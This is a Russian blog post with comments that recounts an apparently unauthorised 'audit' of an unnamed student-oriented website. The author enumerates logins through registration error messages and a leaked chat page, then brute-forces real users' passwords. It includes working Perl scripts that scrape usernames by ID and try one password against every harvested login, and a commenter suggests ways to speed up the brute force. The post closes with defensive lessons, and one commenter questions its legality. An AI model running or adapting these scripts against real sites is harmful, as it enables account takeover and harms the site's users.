История одного аудита

    На хабре существует множество статей, посвящённых историям различных взломов, рекомендаций по генерации паролей и прочих основ информационной безопасности. Я решил внести и свою лепту, написав небольшой отчёт по исследованию одного из достаточно крупных сайтов, близкого к IT-тематике, в котором на фоне хорошей защищённости от основных методик взлома мной обнаружены совершенно банальные ошибки проектирования самой системы.

    Подробнее о том, на что нужно обращать внимание при проектировании своих сайтов под катом.

    Исследуем



    Рассматриваемый сайт написан на ASP.NET; особых технологических изысков вроде AJAX, HTML5 или других наворотов в нем нет. Обычное меню, статичный текст. Аудитория — школьники и студенты начальных курсов.
    Функционал, составляющий основу проекта, реализован отдельно через виртуальную java машину, куда мы не полезем.

    Для начала заглянем в регистрацию. Вообще, использовать отдельные логин и ник — не слишком удобно, но в данном случае пользователи вводят реальные личные данные, так что добавление логина — хорошая затея, попутно усиливающая защищенность. Естественно, это имеет вес только если нельзя получить список логинов. В таком случае нам придётся перебирать не только пароли, но еще и логины. Соответственно, количество попыток входа к несуществующему логину будет достаточно большим, что может служить признаком попытки взлома.

    Полазив ещё немного по сайту, я нигде не нашел открытых логинов. Их используют только для регистрации и авторизации. В голову приходит очевидная, но от этого не менее забавная мысль: отправляем через форму регистрации какой-нибудь занятый логин — получаем ошибку о том, что такой пользователь уже зарегистрирован.
    Соответственно, особенно если взять достаточную базу популярных имен, можно путем парсинга сообщений об ошибке отсеять логины. Например вот тут
    Конечно, получается не очень правильно, если для каждого несуществующего логина будет происходить регистрация. Уж такой значительный одновременный прирост числа пользователей будет слишком заметен.

    Я попытался обойти это, изменяя содержание POST-запроса, отправляемого скрипту регистрации. В нём обнаружилась полезная уязвимость: система сначала проверяла, есть ли логин в базе, и только после этого сверяла пароли. (удивительно, что пароль и подтверждение дополнительно проверяются на совпадение еще и на сервере).
    Таким образом, перебор вполне организуем в обход фактической регистрации. Что же касается капчи — она достаточно простая, чтобы не быть помехой.

    Однако, простой брутфорс логинов не заслуживал бы отдельной статьи. Уже после нахождения достаточного количества уязвимостей я вовремя обнаружил в приложении чата ещё одну: в окне отправки сообщения был логин пользователя! Сложно сказать, кто и зачем туда его поместил. Видимо, когда писали систему, ФИО еще не ввели, а затем и забыли про этот отладочный вывод. Как гласит народная пословица: “Нет ничего более постоянного, чем временное.”

    Анализ результатов



    Нам нужна база логинов. Достать ее легко, нужно только пропарсить страницу
    site/icq/?id=N для каждого пользователя

    	for ($k=0;$k<$max_thread;$k++){
    			thread_search();
    		} 
    	$cv->recv;
    
    	sub thread_search{
    	  my $url = "http://site/icq/?user=".$i; 
    	    http_get $url, sub {
    	    my ($body, $hdr) = @_;	 
    			
    	    if ($hdr->{Status} =~ /^2/) {	
    	      if ($body =~ /<TITLE>(.*) "/){
    	        print OUTPUT $1.",$i\n";
    	      }	
    	    } else {						
    	      print OUTPUT $url." error, ".$hdr->{Status}." ".$hdr->{Reason}."\n";
    	    } 
    	    $i++;
    	    if ($i>$MAX){
    	      $cv->send;
    	    }
    	    else{
    	      thread_search();
    	    }
    	    };
    	}
    	


    Написанное выполнилось достаточно быстро. В итоге, я получил базу, которую затем отсортировал и разделил на группы, а также построил красивую диаграмму.


    А вот примеры логинов.

    Непосредственно action



    Так как никакой политики паролей в системе не предусмотрено, и можно ввести хоть односимвольный, обыкновенный брутфорс должен иметь успех.
    В данном случае распределим пароли по потокам. Каждый поток будет перебирать один пароль для всех логинов. Это оптимально т.к. пароли на подобных ресурсах обычно используются довольно простые.

    #!/usr/bin/perl
      
    use LWP::UserAgent;
    require HTTP::Request;
    
    my $pass = $ARGV[0];
     
    open(OUTPUT,'+>out'.$pass.'.txt'); 
    open(INPUT,'<lof.txt');  
    while (<INPUT>)
    {
    	my $l = $_;
    	chop $l;  
    	my $ua  = new LWP::UserAgent;
    	$ua->agent("Mozilla/5.0 (X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1");
    	$form = "lgn=$l&password=$pass";
    
    	my $request = HTTP::Request->new(POST => 'http://site/');
    	$request->content($form);
    	$request->content_type('application/x-www-form-urlencoded');
    	my $response = $ua->request($request);
    	my $co = $response->header("Set-Cookie");
    print $co."\n";
    }
    


    Ну и немного результатов брутфорса. Я не стал перебирать всех пользователей так как не было особого интереса. Однако даже на малой фокус-группе нашлось очень много пользователей с цифровыми паролями, паролями qweqwe, qwerty и прочими подобными.
    Кстати пароль qwerty имеет лишь 0,1%, тогда как различные вариации цифровых паролей от 1 до 4 символов суммарно превышают 20%.

    Выводы



    В список наиболее критичных недочётов ресурса, на мой взгляд, входят:

    * Невнимательность (логины были доступны на сайте в открытом виде)
    * Неверная последовательность проверки данных
    * Слабая капча
    * Бесконтрольное число попыток авторизации с любого IP
    * Слабая политика паролей (нужно запрещать пользователям вводить цифровые пароли)

    Ссылки по теме



    UserAgent
    AnyEvent
    HTTP Request
    threads

    Спасибо за редактуру статьи klok

    Similar posts

    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 16

      +1
      AnyEvent::HTTP мне кажется очень достойная замена LWP, думаю ускорит перебор в десятки раз.
        0
        Согласен. Потому я ради интереса и запускал обе этих методики.
        AnyEvent лично мне действительно как-то удобнее показалась. Но это вопрос вкуса
        0
        В посте мельком упомянуто, были и другие уязвимости? То что расписано, имеет отношение только к брутфорсу паролей.
          +1
          Мне кажется, основной идеей статьи как раз является получение списка логинов без привлечения к себе лишнего внимания со стороны владельцев сайта.
          И уязвимость дополнительного модуля, которая выводила логин по id — это как раз и есть то самое, что и искалось.
          +1
          использовать отдельные логин и ник — не слишком удобно

          Вот никто и не использует. Есть статистика корреляции логина и ника по сайту? Я уверен, что ~65%.

          удивительно, что пароль и подтверждение дополнительно проверяются на совпадение еще и на сервере

          Действительно, зачем бы? Да и от SQL инъекций можно JavaScript'ом обезопаситься.

          Что же касается капчи — она достаточно простая, чтобы не быть помехой.

          А что, уже придумали достаточно сложную капчу, чтобы она была помехой?

          Я уверен, в этом аудите вы ещё очень-очень много чего упустили.
            0
            Значительная часть ников — реальные ФИО.
            Отчасти, поскольку так написано в форме регистрации, отчасти, поскольку эта система использовалась в различных официальных и полуофициальных мероприятиях.

            SQL-инъекция к сверке пары «пароль-подтверждение» отношения не имеет.
            Основная задача этой пары — защитить пользователя от ошибки.
            Если человек ввёл данные вручную в форму, JavaScript замечательно справится с валидацией, а если злобный хакер отправляет хитрые запросы, то как-то обрабатывать подтверждение пароля на сервере вообще бессмысленно.

            Существование капчи, по моему опыту, замедляет перебор процентов на 30, в зависимости от сложности распознавания, за счёт ошибок ввода. Эта капча же настолько проста, что распознаётся с вероятностью 99,9% довольно быстрыми алгоритмами.
              +2
              JavaScript может быть отключен или вообще отсутствовать. А иной раз просто не хочется вводить хоть строчку JS на страницу.
                –1
                Может быть.
                Но в конкретном случае проверка была двойная: и на клиентской, и на серверной стороне.
                Что и удивляет.
                  +5
                  Тоже нормально, если и другие проверки проводятся дважды. Вообще многие некоторые фреймворки так делают по умолчанию — задаёшь одно правило валидации, а обрабатывается оно даже трижды: у клиента (по возможности) — чтобы избежать лишних запросов на сервер и получить моментальный отклик, в приложении — проверить типы, форматы и т. п., при записи в БД — проверка уникальности (при необходимости) или триггерами (редко).
            +4
            >Слабая политика паролей (нужно запрещать пользователям вводить цифровые пароли)

            Имхо, если это касается доступа пользователя к его данным на моем сервисе, то это его личное дело какой пароль устанавливать. Уведомить его, что простой/короткий пароль может быть легко подобран, в следствие чего доступ к его данным будет получен кем-то другим, сами данные могут быть уничтожены, а аккаунт использован для противоправных (включая нарушение пользовательского соглашения) действий — правило хорошего тона. Ограничивать — моветон.

            Другое дело, если он регистрируется, чтобы получить доступ (например платный) к моим данным. Тут уже я заинтересован в том, чтобы его пароль было сложнее подобрать.

            Но больше всего я не понимаю «чудиков», которые ограничивают сложность пароля. Чуть ли не саботажем выглядит. А когда при вводе пароля при логине они пишут только, что пароль неверный, но не пишут, что использованы недопустимые символы в нём и какие допустимы — убить карму заминусовать хочется. Например я использую «дежурный» пароль для неважных регистраций, содержащий не только буквенно-цифровые символы. Ладно когда при регистрации мне пишут [a-zA-Z0-9]{3,8}, я их просто опускаю, но когда при логине этого же не пишут, я раза три пробую ввести «дежурный» пароль, тщательно проверяя нажатия, регистр и раскладку, и уж потом думаю: «а может туту дважды „чудики“, попробуюка без „спецсимволов“».
              0
              Ни разу не встречал таких чудиков. И это хорошо.
              Возможно они это делают на самописных движках, потому как пароли с различными спецсимволами у них не очень хорошо обрабатываются (например с кодировками не сумели разобраться или еще что...). И они придумали «выход» просто не разрешать вводить такие данные
                +3
                rambler.ru до сих пор (только что проверил) не разрешает использовать спецсимволы в паролях и не сообщает о «запрещенных» символах в пароле при попытке логина.

                Движок, конечно, самописный у них :)
                  0
                  А кодировка, по идее, ASCII
              0
              — (нужно запрещать пользователям вводить цифровые пароли) — за такое разработчиков обычных сайтов (не связаных с финансами) надо убивать. Пусть пользователь сам решает какой пароль использовать
                0
                Среди пользователей слишком много людей, которые не понимают разницы между «123» и «123!»
                Обычные сайты в этом не нуждаются, но в этой статье я говорю про довольно крупные сайты с репутацией.
                  0
                  Пароли на почтовый ящик, к которому привязана регистрация на нескольких сервисах, и на каком-нибудь форуме отличаются по критичности. Если я знаю, что туда больше не приду или не вижу смысла скрывать защищенное паролем содержимое, я как пользователь хочу иметь возможность установить такой пароль, который посчитаю нужным. Сайту и другим пользователям от моего слабого пароля вреда не должно быть никакого.

                  За пост спасибо, но все же — в чем состоял аудит? Насколько этично и, что важнее, правомерно в данном случае проводить аудит (читай, взлом) паролей без ведома и согласия их владельцев?

              Only users with full accounts can post comments. Log in, please.